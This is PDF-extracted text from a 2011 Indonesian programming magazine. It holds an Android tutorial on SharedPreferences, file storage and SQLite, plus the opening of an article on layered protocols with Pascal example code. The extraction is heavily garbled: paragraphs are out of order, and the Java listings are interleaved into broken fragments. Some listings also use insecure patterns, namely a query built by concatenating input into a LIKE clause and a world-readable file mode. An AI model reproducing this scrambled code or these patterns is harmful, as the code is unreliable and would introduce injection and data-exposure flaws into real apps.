11/1/2011 5:16:43 PM

Coding KNOW-HOW

Membaca Data dari Shared Preferences Untuk membaca data, tipe SharedPreferences menyediakan beberapa metode untuk memuat data dalam berbagai tipe, antara lain getBoolean(), getFloat(), getString(), getInt(), dan getLong(). Keempat metode tersebut mengharapkan dua parameter, yakni nama key dan nilai default yang akan dikembalikan seandainya nilai yang diacu oleh key tidak ada. Nama key mengacu pada atribut name pada file XML preferensi (Listing 1). Contoh cara membaca nilai bertipe float dan string ditunjukkan pada Listing 4.

Menulis Data ke Shared Preferences Untuk menulis data, Anda harus mendapatkan instance SharedPreferences. Editor. Caranya adalah memanggil metode edit() milik SharedPreferences. Penulisan data dikerjakan dengan menggunakan metode-metode yang disediakan oleh tipe SharedPreferences.Editor, antara lain putBoolean(), putFloat(), putString(), putInt(), dan putLong(). Langkah terakhir adalah memanggil metode commit() milik SharedPreferences.Editor untuk membuat perubahan yang Anda lakukan menjadi permanen. Contoh bagaimana menulis data bertipe float dan string ditunjukkan pada Listing 5.

Menggunakan File Anda menggunakan file bila data yang hendak Anda simpan tidak berbentuk pasangan key/value, misalnya Anda hendak menyimpan data file gambar atau file lainnya.

Baca-Tulis File dengan Java I/O Manipulasi file dikerjakan dengan Java I/O. Library menggunakan ini antara lain menyediakan tipe FileInputStream dan FileOutputStream yang mengabstraksi data file yang akan ditulis atau dimuat. Proses menulis atau memuat data ke atau dari file dibungkus dalam tipe OutputStreamWriter dan InputStreamReader.

Anda peroleh dengan beberapa cara. Selain dengan menggunakan tipe dan metode dalam library Java I/O, cara lain adalah menggunakan openFileOutput(). Metode ini disediakan Android untuk menyederhanakan proses memuat file ke FileOutputStream. Ia mengharapkan dua parameter, yakni nama file dan mode penciptaan file dan mengembalikan instance FileOutputStream. Jika Anda tidak menentukan direktori file, file akan disimpan di direktori /data/data/[nama package]/files/ (lihat Gambar 4). Setelah memiliki instance FileOutputStream, Anda dapat melakukan manipulasi terhadap data file dengan terlebih dahulu menciptakan instance OutputStreamWriter dengan meng gunakan instance FileOutputStream.

Memuat Data dari File Android menyediakan openFileInput() untuk menyederhanakan proses mendapatkan instance FileInputStream dari nama file. Dari instance FileInputStream ini, Anda bisa menciptakan instance tipe InputStreamReader untuk proses baca file. Listing 7 berisi contoh kode bagaimana memuat isi file ke variabel bertipe string.

NAL_STORAGE. Pengaturan ini Anda sertakan dalam file AndroidManifest. xml (Listing 8). Untuk menyimpan data di penyimpanan eksternal, Anda perlu tahu di mana direktori penyimpanan eksternal. Tipe Environment menyediakan metode statik getExternalStorageDirectory() yang akan mengembalikan lokasi direktori penyimpanan eksternal dalam instance tipe File (Listing 9). Dari instance File ini, Anda dapat mengetahui direktorinya dengan memanggil getPath(), getAbsolutePath(), atau getCanonicalPath(). Untuk membaca atau menulis ke file di direktori penyimpanan eksternal, Anda ciptakan instance File dan lewatkan nama direktori serta nama file yang Anda akan manipulasi. Dari instance File tersebut, Anda ciptakan instance FileOutputStream dan FileInputStream (Listing 10).

Menggunakan SQLite Penggunaan SharedPreferences atau file untuk menyimpan data hanya cocok

Menggunakan Penyimpanan Eksternal Penyimpanan eksternal pada perangkat smartphone biasanya adalah kartu memory. Jika pada bagian sebelumnya Anda menyimpan data ke file di memory internal perangkat Android, Anda bisa pula menyimpan ke penyimpanan eksternal seperti SD card karena kapasitas penyimpanan lebih besar atau agar dapat saling berbagi data dengan orang lain (dengan memberikan SD card kepada orang lain). Untuk menyimpan data di penyimpanan eksternal, aplikasi Anda harus memperoleh izin WRITE_EXTER-

Gambar 3. Konfigurasi ukuran teks dimuat dari data yang tersimpan.

Menulis Data ke File Instance tipe FileOutputStream dapat 12/2011

102_knowhow-ZPJ_12_edit nur.indd 103

Gambar 4. Lokasi penyimpanan file bila direktori tidak ditentukan.

103

11/1/2011 5:16:48 PM

KNOW-HOW

Coding

untuk data sederhana. Untuk data yang lebih kompleks seperti data relasional, penggunaan software manajemen database lebih cocok. Android menyediakan sistem manajemen database SQLite.

Tentang SQLite SQLite Ringan SQLite adalah sistem manajemen database ringan yang cocok untuk diterapkan pada perangkat dengan sumber daya terbatas, seperti ponsel. SQLite dirancang sebagai library yang berdiri sendiri dengan kebergantungan pada library lain yang seminimal mungkin. Tanpa Server SQLite tidak mengadopsi model klienserver. Jika sistem manajemen database lain berdiri sendiri sebagai proses terpisah (server) yang menerima permintaan dari proses lain (aplikasi klien) melalui mekanisme komunikasi antarproses seperti TCP/IP, SQLite disediakan sebagai library yang menyediakan fungsionalitas pengelolaan database. Melalui library SQLite, aplikasi langsung mengelola database di file tanpa melalui aplikasi server. Keuntungannya adalah langkah setup lebih mudah—Anda tidak menemukan kerumitan konfigurasi server seperti halnya pada sistem manajemen database lain. Kekurangannya, karena database dikelola sendiri oleh aplikasi, integritas database sangat terpengaruh oleh praktik pemrograman yang baik. Tanpa Aturan Tipe Data Ketat SQLite adalah sistem manajemen database yang mengadopsi aturan tipe data yang longgar (typeless). Meskipun mendeklarasikan kolom tabel bertipe integer, Anda tetap diizinkan untuk memasukkan data bertipe lain dalam kolom ini. Integritas Referensi Tidak Dikelola SQLite tidak mengelola integritas referensi. Tidak ada batasan FOREIGN KEY. Anda dapat mengacu sebuah record pada kolom tabel lain meskipun record tersebut sudah tidak lagi valid. Lalu, bagaimana mengelola integritas referensi? Anda bisa mengelolanya sendiri dengan menggunakan TRIGGER.

104

102_knowhow-ZPJ_12_edit nur.indd 104

Gambar 5. Lokasi penyimpanan file database.

Bagaimana Database Anda Disimpan? Database Anda akan disimpan sebagai file tunggal di direktori /data/data/[nama package]/databases/ (lihat Gambar 5). Nama file yang digunakan sama dengan nama database. Pada Gambar 5, nama database adalah “locdb”. Jika butuh meng-copy database, Anda tinggal meng-copy file ini. SQLite di Android tidak menyediakan aplikasi bantuan sebagai interface pengelolaan database. Lalu, bagaimana bila Anda ingin menggunakan aplikasi lain untuk merancang struktur tabel? Tidak masalah selama aplikasi tersebut mendukung SQLite. Anda bisa menyertakan file database yang dihasilkan sebagai aset dengan memasukkannya dalam direktori assets di mana proyek aplikasi berada. Saat onCreate() milik Activity dijalankan, Anda uji apakah file database tersebut sudah ada. Bila belum, copy file database yang ada di aset ke direktori internal database seperti terlihat pada Gambar 5. Data aset bisa diakses dengan getAssets() milik tipe Context.

Menciptakan Database Sebagaimana yang disinggung sebelumnya, SQLite di Android tidak menyediakan aplikasi bantuan sebagai interface pengelolaan database. Android menye diakan instance SQLiteOpenHelper yang berguna untuk menciptakan database dan struktur tabel di dalamnya. Ada dua metode SQLiteOpenHelper yang harus Anda turunkan, yakni sebagai berikut. onCreate(SQLiteDatabase adb) Metode ini dipanggil ketika database telah diciptakan. Dalam metode ini, ciptakan tabel-tabel yang Anda perlukan. onUpgrade(SQLiteDatabase adb) Metode yang dipanggil ketika database perlu di-upgrade. Metode ini

akan dipanggil ketika versi aplikasi berubah. Lebih jauh tentang versi ini kita bahas segera. Listing 11 berisi contoh cara menciptakan instance turunan SQLiteOpenHelper. Konstruktor SQLiteOpenHelper mengharapkan empat parameter, yakni instance Context, nama database, instance CursorFactory (bisa diisi null), dan nomor versi. Konstruktor versi lain mengharapkan lima parameter di mana empat parameter pertama sama dengan sebelumnya dan parameter kelima adalah untuk keperluan penanganan kesalahan.

Instance SQLiteDatabase Jika menggunakan SQLite, Anda membaca atau memanipulasi data yang ada di database dengan menggunakan instance ini. Beberapa metode yang sering Anda gunakan antara lain sebagai berikut. execSQL() Mengirimkan perintah SQL yang bukan SELECT atau perintah lain yang mengembalikan data. Jika Anda akrab dengan sintaks bahasa SQL, metode ini untuk Anda. insert() Menambahkan record baru ke dalam tabel. Anda tidak menyusun perintah SQL secara langsung. delete() Menghapus record dari tabel. Anda tidak menyusun perintah SQL secara langsung. update() Memperbarui isi record dalam tabel. Anda tidak menyusun perintah SQL secara langsung. rawQuery() Menjalankan perintah SQL yang 12/2011

11/1/2011 5:16:48 PM

anugrah 1-meja_12.indd 1

02/11/2011 15:29:02

KNOW-HOW

Coding

mengembalikan data seperti SELECT. Anda harus menyusun perintah SELECT. query() Memuat data dari tabel. Anda tidak menyusun perintah SQL SELECT secara langsung.

Menciptakan Tabel Seperti disinggung sebelumnya, SQLite di Android tidak menyediakan aplikasi bantuan sebagai interface pengelolaan database. Untuk menciptakan struktur tabel yang Anda butuhkan, lengkapi implementasi onCreate() milik tipe SQLiteOpenHelper. Sebagai contoh, kita akan menciptakan tabel yang berisi daftar lokasi. Kita hanya menggunakan tabel tunggal yang susunannya seperti Tabel 1.

SQLiteOpenHelper, Anda bisa menggunakan getReadableDatabase() atau getWritableDatabase(). Metode pertama bisa Anda gunakan bila Anda hanya meminta akses baca. Jika Anda menginginkan akses baca dan tulis, Anda harus memilih metode kedua (Listing 13). Bila sukses, kedua metode tersebut akan mengembalikan instance SQLiteDatabase. Selain dengan SQLiteOpenHelper, Anda bisa pula membuka database dengan menggunakan metode statik openDatabase() milik tipe SQLiteDatabase. Dalam demo ini, kita menggunakan SQLiteOpenHelper.

Database yang sudah Anda buka, ditutup dengan memanggil metode close() milik tipe SQLiteOpenHelper

TYPE

ATRIBUT

loc_id loc_name loc_latitude loc_longitude

INTEGER TEXT DOUBLE DOUBLE

PRIMARY KEY AUTO_INCREMENT NOT NULL NOT NULL NOT NULL

Metode onUpgrade() hanya dipanggil bila nomor versi tidak lagi sama dengan nomor versi ketika kali pertama onCreate() dipanggil. Dalam metode ini, Anda kerjakan perubahan struktur tabel sesuai spesifikasi yang baru. Untuk contoh demo, kita hanya menghapus tabel dan index lalu menciptakan ulang tabel dan index (Listing 12). Untuk aplikasi sesungguhnya, Anda mungkin perlu membuat copy-an isi tabel lama kemudian memindahkan record-record pada tabel lama ke tabel baru.

Membuka Database Untuk menggunakan database, Anda harus membukanya. Jika menggunakan

106

102_knowhow-ZPJ_12_edit nur.indd 106

INSERT INTO table_a;

Perintah di atas akan menambahkan record baru dengan tiap-tiap kolom akan diisi dengan nilai default atau null. Perintah SQL di atas Anda peroleh bila parameter kedua dan ketiga pada metode insert() Anda isi dengan nilai null seperti kode berikut. return db.insert( “table_a”, null, null);

NAMA

Memperbarui Database

Sebagai contoh, Anda punya tabel bernama tabel_a. Perintah SQL berikut ini adalah perintah yang sah.

Menutup Database

Tabel 1. Tabel daftar lokasi

Listing 12 berisi kode lengkap implementasi turunan SQLiteOpenHelper. Pada metode onCreate(), kita panggil execSQL dengan perintah SQL untuk menciptakan tabel dan index berdasarkan nama lokasi.

Tentang Parameter nullColumnHack

atau SQLiteDatabase. Metode ini tidak mengharapkan parameter apa-apa (Listing 14).

Sayangnya, SQLite tidak mengizinkan sintaks SQL semacam ini. SQLite mewajibkan Anda mendefinisikan paling tidak sebuah kolom dalam perintah INSERT seperti baris berikut. INSERT INTO table_a (nama_kolom_0) VALUES (NULL);

Jika harus menambahkan record baru dengan metode insert() di mana parameter bertipe ContentValues berisi null, Anda harus menentukan nama kolom yang akan diisi dengan null pada parameter nullColumnHack. return db.insert(“table_a”, “nama_kolom_0” ,

Menambahkan Record Untuk menambahkan record baru ke tabel, Anda gunakan perintah SQL INSERT lalu memanggil execSQL() atau gunakan metode bantuan insert() yang akan menyusun perintah INSERT untuk Anda. Metode insert() membutuhkan tiga parameter, yakni nama tabel, nullColumnHack (tidak wajib, bisa diisi null), dan data bertipe ContentValues yang akan dimasukkan ke tabel (Listing 15). Untuk apa parameter nullColumnHack? Kita akan membahasnya segera. Untuk memasukkan data dengan sukses, Anda butuh nama tabel dan instance ContentValues. Instance tipe ContentValues pada dasarnya berisi daftar pasangan nama kolom/nilai yang nantinya disubstitusi ke dalam perintah SQL INSERT.

null);

Untuk meniadakan kerumitan ini, Anda sebaiknya selalu mendefinisikan isi ContentValues ketika memanggil insert().

Menghapus Record Untuk menghapus satu atau lebih record dari tabel, Anda bisa menggunakan perintah SQL DELETE atau menggunakan metode delete(). Metode delete() membutuhkan tiga parameter, yakni nama tabel, string berisi kriteria record yang cocok (klausa WHERE), dan argumen yang akan disubstitusikan ke dalam klausa WHERE. Listing 16 berisi contoh bagaimana menggunakan metode delete() untuk menghapus data lokasi dari tabel. Listing 16a berisi modifikasi Listing 16 de12/2011

11/1/2011 5:17:29 PM

Coding KNOW-HOW

ngan menggunakan argumen. Di Listing 16a, tanda “?” akan diganti dengan nilai yang ada pada parameter locId.

Memperbarui Isi Record Isi record bisa diperbarui dengan perintah SQL UPDATE atau metode update(). Metode update() mengharapkan empat parameter, yakni nama tabel, data record yang akan diperbarui dalam tipe ContentValues, klausa WHERE, dan argumen klause WHERE.

Mendapatkan Daftar Record Sesuai Kriteria Tidak ada gunanya menyimpan data apabila tidak dapat mengambilnya untuk dibaca. Untuk mendapatkan daftar record dari tabel, gunakan rawQuery() atau query(). Pilih metode pertama bila Anda lebih suka berurusan dengan sintaks SQL secara langsung. Metode kedua Anda tidak menyusun SQL secara langsung (Listing 18). Metode query() terdiri atas beberapa versi dengan jumlah parameter bermacam-macam. Yang paling banyak adalah query() dengan jumlah parameter sembilan buah, yakni: distinct bertipe boolean. Jika bernilai true, record yang terduplikasi tidak diikutsertakan. table, bertipe string. Nama tabel. columns, daftar berisi nama kolom yang akan diambil datanya. Jika null, semua kolom akan diambil. selection bertipe string, berisi kriteria penyaringan record (tapi tanpa kata WHERE). Bila diisi null, semua record akan dikembalikan. selectionArgs, bertipe array string, berisi argumen yang akan disubstitusi pada klausa WHERE yang mengandung karakter “?”. Isi dengan null bila tidak menggunakan argumen. groupBy, bertipe string, menentukan bagaimana data dikelompokkan (tanpa klausa GROUP BY). Nilai null berarti data tidak dikelompokkan. having, bertipe string, menentukan bagaimana penyaringan terhadap pengelompokan data (tanpa kata HAVING). Nilai null berarti penyaringan kelompok data tidak digunakan. orderBy, bertipe string, menentukan bagaimana data diurut (tanpa 12/2011

102_knowhow-ZPJ_12_edit nur.indd 107

ORDER BY). limit, bertipe string, menentukan apa-

kah record yang dikembalikan dibatasi sejumlah tertentu. Bila diisi null, klausa LIMIT tidak digunakan.

Mengelola Cursor Operasi yang mengembalikan data dari tabel seperti SELECT akan mengembalikan instance Cursor yang selanjutnya dapat Anda gunakan untuk mengakses data record-record.

Memindahkan Posisi Cursor Tipe Cursor menyediakan beberapa metode bernama move*() untuk memindahkan penunjuk record yang aktif. Semuanya mengembalikan nilai boolean sebagai status apakah pemindahan berhasil atau tidak (Listing 19).

instance Cursor dapat diketahui dengan menggunakan getCount().

Membaca Data Cursor Metode pembacaan data terdiri atas pembacaan data sesuai tipe data, misalnya getString(int columnIndex), getInt(int columnIndex), getLong(int columnIndex), dan getFloat(int columnIndex). Semua metode tersebut mengharapkan indeks kolom data yang hendak Anda baca. Susunan kolomnya adalah seperti yang diminta dalam perintah SELECT. Sebagai contoh, sesuai Tabel 1, bila data semua kolom diminta, columnIndex=0 mengacu pada data kolom loc_id, columnIndex=1 mengacu data kolom loc_name, dan seterusnya.

Mendapatkan Indeks Kolom move(int offset) Memindahkan penunjuk maju atau mundur sebanyak nilai offset. Nilai integer negatif berarti memundurkan penunjuk sebanyak nilai offset. moveToPosition(int position) Memindahkan penunjuk ke posisi absolut yang ditunjuk oleh position. moveToFirst() Memindahkan penunjuk ke record awal. moveToLast() Memindahkan penunjuk ke record akhir. moveToPrevious() Memindahkan penunjuk ke record sebelumnya. moveToNext() Memindahkan penunjuk ke record berikutnya. Selain itu, disediakan pula metode untuk mendapatkan posisi saat ini getPosition() serta metode untuk menguji apakah posisi penunjuk berada di awal (isFirst(), isBeforeFirst()) dan di akhir (isLast(), isAfterLast()).

Mendapatkan Jumlah Record Jumlah record yang ada dalam sebuah

Indeks kolom yang digunakan pada metode pembacaan data seperti getString() dan getInt() hanya menerima kolom bertipe integer. Anda tentu harus mengingat susunan kolom sesuai dengan perintah SELECT. Jika urutan kolom dalam perintah SELECT tersebut berubah, Anda juga perlu mengubah nomor indeks. Agar kode program lebih mudah dikelola, Anda bisa mengacu kolom dengan menggunakan nama kolom, bukan nomor indeks. Jadi, bila hanya menukar posisi kolom pada perintah SELECT, Anda tidak perlu mengubah nomor indeks karena nomor indeks sudah otomatis berubah. Untuk mendapatkan nomor indeks kolom dari nama kolom, Anda gunakan getColumnIndex() (Listing 20).

Menutup Cursor Untuk membebaskan memory yang digunakan untuk mengelola record, Anda perlu mempanggil close(). Setelah pemanggilan ini, record-record menjadi tidak valid lagi.

Penutup Kita telah mendiskusikan bagaimana aplikasi pada platform Android menyimpan data sehingga data tersebut tidak hilang dan dapat digunakan pada masa yang akan datang. Ada tiga mekanisme penyimpanan yang ditawarkan Android, yakni dengan SharedPrefer-

107

11/1/2011 5:17:31 PM

KNOW-HOW

Coding

ences, File, dan SQLite. Telah dibahas pula kelebihan dan kekurangan tiaptiap mekanisme penyimpanan data dan implementasinya ke dalam aplikasi.

LEBIH LANJUT http://developer.android.com http://www.sqlite.org Wei-Meng Lee. 2011. Beginning Android Application Development. Wrox.

Gambar 6. Screenshot aplikasi demo database lokasi.

Listing 1

OutputStreamWriter osw; osw = new OutputStreamWriter(fOut);


Listing 10 File txtfile = new File(extDir,

standalone=’yes’ ?>

osw.write(data);

“textdata.txt”);

<map>

osw.flush();

FileInputStream fIn = new FileInputSt

osw.close();

eam(txtfile);

<string name=”textdata”>Simpan teks

}

InputStreamReader isr = new

ini ke dalam Preferences

InputStreamReader(fIn);

Listing 7

private String doLoad(String filename)

Listing 2

throws IOException

SharedPreferences prefs;

Listing 11 DBHelper=new DBSQLiteHelper(context,

{

DB_NAME, String str=””;

null,

“juharaPref”,

FileInputStream fIn;

DB_VERSION);

MODE_PRIVATE);

fIn = openFileInput(filename);

prefs = getSharedPreferences(

Listing 12

Listing 3

InputStreamReader isr ;

SharedPreferences prefs;

isr = new InputStreamReader(fIn);

private class DBSQLiteHelper extends

prefs = getPreferences(

char[] inputBuffer = new char[128];

SQLiteOpenHelper

int intNumRead;

{

MODE_PRIVATE);

private static final String SQL_

while ((intNumRead = isr

Listing 4

CREATE

read(inputBuffer))>0)

float fontSize = prefs

=

{

getFloat(“fontsize”, 12);

//ubah chars ke String

String txt = prefs

str += String.copyValueOf(

getString(“textdata”, “”);

inputBuffer, 0,

Listing 5

intNumRead);

prefs = getSharedPreferences(

“CREATE TABLE “+TABLE_LOCATION+” “ + “(“ + “loc_id INTEGER PRIMARY KEY AUTOINCREMENT,” +

}

“loc_name TEXT NOT NULL,” +

“juharaPref”,

isr.close();

“loc_latitude DOUBLE NOT NULL,”+

MODE_PRIVATE);

return str;

SharedPreferences.Editor editor;

}

editor = prefs.edit(); editor.putFloat(“fontsize”, 36.0); editor.putString(“textdata”, “Simpan teks ini”); editor.commit();

“loc_longitude DOUBLE NOT NULL”+ “);”; private static final String SQL_DROP=

Listing 8 <uses-permission android:name = “android.permission.WRITE_EXTERNAL STORAGE”>

Listing 6

“DROP TABLE IF EXISTS “+TABLE LOCATION; private static final String SQL CREATE_INDEX = “CREATE INDEX ‘indx_name’ ON “+TABLE_LOCATION+ “ (loc_name)”;

private void doSave(String filename,

Listing 9

String data) throws IOException

File extStorage = Environment.getExte

{

nalStorageDirectory(); FileOutputStream fOut;

String extDir = extStorage

fOut = openFileOutput(filename,

getAbsolutePath();

private static final String SQL_DROP INDEX = “DROP INDEX IF EXISTS ‘indx name’”; public DBSQLiteHelper(Context context,

MODE_WORLD_READABLE);

108

102_knowhow-ZPJ_12_edit nur.indd 108

12/2011

11/1/2011 5:17:31 PM

dotcom_12.indd 1

02/11/2011 13:30:21

KNOW-HOW

Coding

ContentValues insertval=new

String dbname, CursorFactory factory, int version)

ContentValues(); insertval.put(COL_LOC_NAME,

{ super(context, dbname, factory,

locname);

Listing 18 public Cursor getLocationByName(String locName) {

insertval.put(COL_LOC_LATITUDE,

version);

return db.query(true,

latitude);

}

public void onCreate(SQLiteDatabase

try

new String[] {

longitude);

COL_LOC_ID,

return db.insert(TABLE_LOCATION,

adb) {

TABLE_LOCATION,

insertval.put(COL_LOC_LONGITUDE,

@Override

COL_LOC_NAME,

null, insertval);

COL_LOC_LATITUDE,

}

COL_LOC_LONGITUDE},

{ adb.execSQL(SQL_CREATE); adb.execSQL(SQL_CREATE_INDEX); }

COL_LOC_NAME + “ LIKE ‘%” +

Listing 16

locName+”%’”,

public long deleteLocation(long locId)

null,

{

null,

catch (SQLException e) {

if (db==null)

null,

return 0;

null,

e.printStackTrace();

null); return db.delete(TABLE_LOCATION,

}

}

COL_LOC_ID+”=”+locId,

}

null);

@Override public void onUpgrade(SQLiteDatabase

}

Cursor c; ...

adb, int arg1, int arg2)

Listing 16a

{

Listing 19

if (c.moveToFirst())

adb.execSQL(SQL_DROP_INDEX);

public long deleteLocation(long locId)

adb.execSQL(SQL_DROP);

{

{ do

if (db==null)

onCreate(adb);

{

return 0;

}

//lakukan sesuatu dgn cursor

return db.delete(TABLE_LOCATION,

}

COL_LOC_ID+”=?”,

Listing 13

}

new String[] {Long

public void open() throws SQLException

toString(locId)});

{

}

Listing 20 Cursor c = dbLoc.getLocation(null);

db = DBHelper.getWritableDatabase();

if (c.moveToFirst())

Listing 17

}

} while (c.moveToNext());

{

public void openReadOnly() throws

public long updateLocation(Integer

SQLException

locid,

int col_locid=c.getColumnIndex (DBLocation.COL_LOC_ID),

String locname,

{

double latitude, double longitude)

db = DBHelper.getReadableDatabase();

col_locname=c.getColumnIndex (DBLocation.COL_LOC_NAME),

{

}

col_loclat=c.getColumnIndex(DBLocat if (db==null)

Listing 14

return 0; ContentValues updateval=new

public void close() throws SQLException

on.COL_LOC_LATITUDE), col_loclong=c.getColumnIndex(DBLoca ion.COL_LOC_LONGITUDE);

ContentValues();

do

updateval.put(COL_LOC_NAME,

{ DBHelper.close();

{

locname);

LocationItem loc=new LocationItem(

updateval.put(COL_LOC_LATITUDE,

}

c.getInt(col_locid),

latitude);

Listing 15 public long insertLocation(String

double latitude, double longitude)

locList.add(loc);

updateval,

if (db==null)

102_knowhow-ZPJ_12_edit nur.indd 110

c.getDouble(col_loclong));

return db.update(TABLE_LOCATION,

{

110

c.getDouble(col_loclat),

longitude);

locname,

return 0;

c.getString(col_locname),

updateval.put(COL_LOC_LONGITUDE,

}

} while (c.moveToNext());

COL_LOC_ID+”=”+locid,

}

null);

c.close(); dbLoc.close();

12/2011

11/1/2011 5:17:50 PM

anugrah 2-UPS_12.indd 1

11/2/2011 3:37:34 PM

KNOW-HOW Coding

PROTOCOL: PROGRAMMING CONCEPTS & MODULAR PROGRAMMING Memahami Teori dan Praktik Pembuatan Protocol Nurhidayat Agung dan Bernaridho I. Hutabarat

Pengantar Protocol adalah sesuatu yang akrab bagi banyak pemakai komputer saat ini. Halaman Wikipedia tentang communication protocol mendefinisikannya sebagai a system of digital message and rules for exchanging those messages in or between computing systems and in telecommunications. Namun, definisi tersebut kurang membantu pemahaman akan protocol. Tulisan kali ini menawarkan penjelasan rinci untuk memahami protocol. Kami membahas dan mengkritisi teori dan praktik, mengaitkannya dengan programming concept dan modular programming. Protocol pada saat ini sulit dijelaskan tanpa kedua subjek lain tersebut.

paham tentang protocol, dia harus bisa membuat source code dari protocol yang sangat sederhana. Selaku alumnus pendidikan software, source code tersebut haruslah sesuatu yang mendemonstrasikan penerapan modular programming dan information hiding. Dalam pengalaman salah satu penulis (Bernaridho), tantang-

an seperti di atas tidak pernah dipenuhi alumni pendidikan software pascamedio 1990. Pada 1996, tiga dari mahasiswa bimbingan Bernaridho membuat protocols untuk komunikasi dengan null modem. Tugas akhir seperti ini sepertinya tidak pernah ada lagi di pendidikan formal software di Indonesia.

Hasil Pengamatan dan Kesulitan Membuat Protocol Membuat protocol amat sulit. Alumni pendidikan software dengan predikat cum laude sekalipun belum tentu mahir membuat protocol. Karena alumni pendidikan software di Indonesia sulit dan mungkin tidak pernah membuat protocol, kebanyakan alumni pendidikan software sangat kurang memahami protocol. Apa yang kami maksud dengan “sangat kurang memahami”?

Maksud dan Motivasi Bila seorang alumnus pendidikan software mengklaim bahwa dia cukup

112

112_knowhow-BIH_12_edit nur.indd 112

Gambar 1. Layered Protocols (dari Tanenbaum, Andrew S., Computer Networks, 5th ed).

12/2011

11/2/2011 12:26:43 PM

Coding KNOW-HOW

Gambar 2. Hybrid model, 5-layer.

Terdapat berbagai kategorisasi protocols. Salah satunya adalah hardware protocol versus software protocol. Untuk hardware protocol, kita tidak perlu bicara tentang source code karena umumnya tidak ada source code-nya. Di sisi lain, software protocol pasti pada awalnya diwujudkan sebagai source code. Maksud utama ditulisnya artikel ini adalah memberikan gambaran seperti apa software protocol. Maksud kedua adalah menunjukkan bagaimana konsep-konsep dasar pemrograman dan konsep pemrograman modular dapat— dan perlu—dipakai untuk menjelaskan protocol.

Layered Protocols Komputer-komputer yang kita pakai saat ini berkomunikasi dengan menggunakan layered protocols. Artinya, kita memakai berbagai protocol dan tidak hanya itu, mereka distrukturkan atas lapis-lapis (layers). Banyak penulis buku jari ngan komputer—termasuk Tanenbaum—yang membuat gambar seperti ini untuk mendeskripsikan layered protocols. Kumpulan protocols pada layers yang berbeda biasa disebut protocol stack.

OSI versus Hybrid Kalau atasan Anda memegang jabatan seperti manajer TI atau direktur TI (serta sejenisnya) dan telah berusia 40 tahun ke atas, dia hampir pasti akan menyinggung 7-layer OSI saat berbicara tentang jaringan. Salah satu penulis artikel ini sejak lima belas tahun lalu tidak lagi terkesan dengan 7-layer OSI model setelah pada 1996 membaca buku Computer Networks edisi 3 seperti ter12/2011

112_knowhow-BIH_12_edit nur.indd 113

tera pada “Lebih Lanjut”. Andrew S. Tanenbaum secara implisit menyatakan bahwa model yang realistis adalah 5-layer model. Itu sebabnya gambar yang dia pakai (dan kami kutip pada Gambar 1) memakai lima lapis. Gambar tersebut dipertahankan sampai edisi 5. Model tersebut memang lebih realistis dan untuk selanjutnya menjadi acuan tulisan ini (lihat Gambar 2).

Masalah dengan Definisi Interface

Konsekuensi Kehadiran Lapis-Lapis pada Definisi Protocol

Contoh Source Code Protocol

Definisi dari Wikipedia tidak sangat membantu untuk memahami layered protocols karena tidak membantu membedakan antara protocol dengan interface. Seperti terlihat pada Gambar 1, ada perbedaan antara protocol dengan interface. Tanenbaum membuat dua definisi tentang protocol dalam bukunya. Yang pertama mirip dengan definisi pada Wikipedia sehingga tidak perlu ditulis ulang di sini. Definisi yang kedua adalah a set of rules governing the format and meaning of the packets, or messages that are exchanged by the peer entities within a layer. Kata-kata kuncinya adalah “within a layer”. Jadi, protocol adalah aturan untuk komunikasi pada lapis yang sama, bukan komunikasi antara suatu lapis dengan lapis lain.

Kedua definisi interface—dari Tanenbaum dan Wikipedia—sama-sama bermasalah. Definisi dari Tanenbaum bermasalah karena yang dimaksud dengan “primitive” adalah “operation”. Hasil tulis ulang adalah interface defines which operation operations and services … (lihat kata-kata yang ditebalkan, yang menjadikan kalimatnya aneh). Definisi dari Wikipedia memiliki kesalahan yang juga hadir pada definisi dari Tanenbaum, yakni tidak mengaitkan interface dengan module’s interface. Konsekuensi dari kesalahan umum ini akan kita kaji.

Kita tidak dapat betul-betul memahami suatu hal bila tidak mempraktikkannya. Membuat source code protocol itu sangat sulit. Namun, ada cara untuk membuat kode yang dekat dengan kenyataan. Berikut ini adalah contoh source code protocol lapis dua yang dibuat dalam bahasa pemrograman Pascal, yang diadopsi dari buku Computer Networks edisi 2 karya Tanenbaum. const LastBit = ... ; {determines packet size} doomsday = false ; {used to repeat forever} MaxSeq = ... ;

type bit = 0 .. 1; SequenceNr = 0 .. MaxSeq; {used to number the frames} packet = packed array [0 .. LastBit] of bit; {a packet from the

Interface Kalau begitu, bagaimana komunikasi antarlapis? Komunikasi tersebut difasilitasi dengan interface. Tanenbaum menulis: interface defines which primitive operations and services the lower layer makes available to the upper one. Apakah definisi yang ada di Wikipedia membantu menjelaskan interface terkait dengan jaringan komputer? Kami pikir defi nisi tersebut kurang membantu. Wikipedia mendefinisikan interface sebagai tool and concept that refers to a point of interaction between components, and is applicable at the level of both hardware and software.

upper layers} FrameKind = (data, ack, nak); frame = packed record kind : FrameKind; seq : SequenceNr; ack : SequenceNr; info : packet; end;

procedure wait (var event : EvType); begin {Wait for an event to happen; return its type in event.} end;

procedure FromNetworkLayer (var p : packet); begin {Fetch information from the

113

11/2/2011 12:26:56 PM

KNOW-HOW Coding

network layer for transmission on the channel.} end;

procedure ToNetworkLayer (p : packet); begin {Deliver information from an inbound frame to network layer.} end;

procedure FromPhysicalLayer (var r : frame); begin {Go get an inbound frame from the physical layer and copy it to r.} end;

procedure ToPhysicalLayer (s : frame); begin {Pass the frame s to the physical layer for transmission.} end;

procedure StartTimer (k : SequenceNr); begin {Start the clock running and enable TimeOut event.} end;

procedure StopTimer (k : SequenceNr); begin {Stop the clock and disable TimeOut event.} end;

procedure StartAckTimer; begin {Start an auxiliary timer for

Gambar 4. Protocol dan service.

tersebut terdapat operasi FromNetworkLayer(), ToNetworkLayer(), FromPhysicalLayer(), dan ToPhysicalLayer(). Operasi-operasi tersebut bukan merupakan operasi-operasi untuk berkomunikasi dalam lapis yang sama. Secara singkat, kami melihat bahwa protocol dalam praktik != protocol dalam teori. Ini persamaan yang kami simpulkan: Protocol dalam praktik = protocol dalam teori + interface dalam teori

sending separate acks.} end;

Inkonsistensi Teori Interface procedure StopAckTimer; begin {Stop the auxiliary timer and disable NetworkLayerIdle event.} end;

procedure EnableNetworkLayer; begin {Allow the network layer to cause a NetworkLayerReady event.} end;

procedure DisableNetworkLayer; begin {Forbid the network layer from causing a NetworkLayerReady event.} end;

procedure inc (var k : SequenceNr); begin {Increment k circularly.} if k < MaxSeq then k := k + 1 else k := 0 end;

Gambar 3. Contoh source code untuk protocol sederhana.

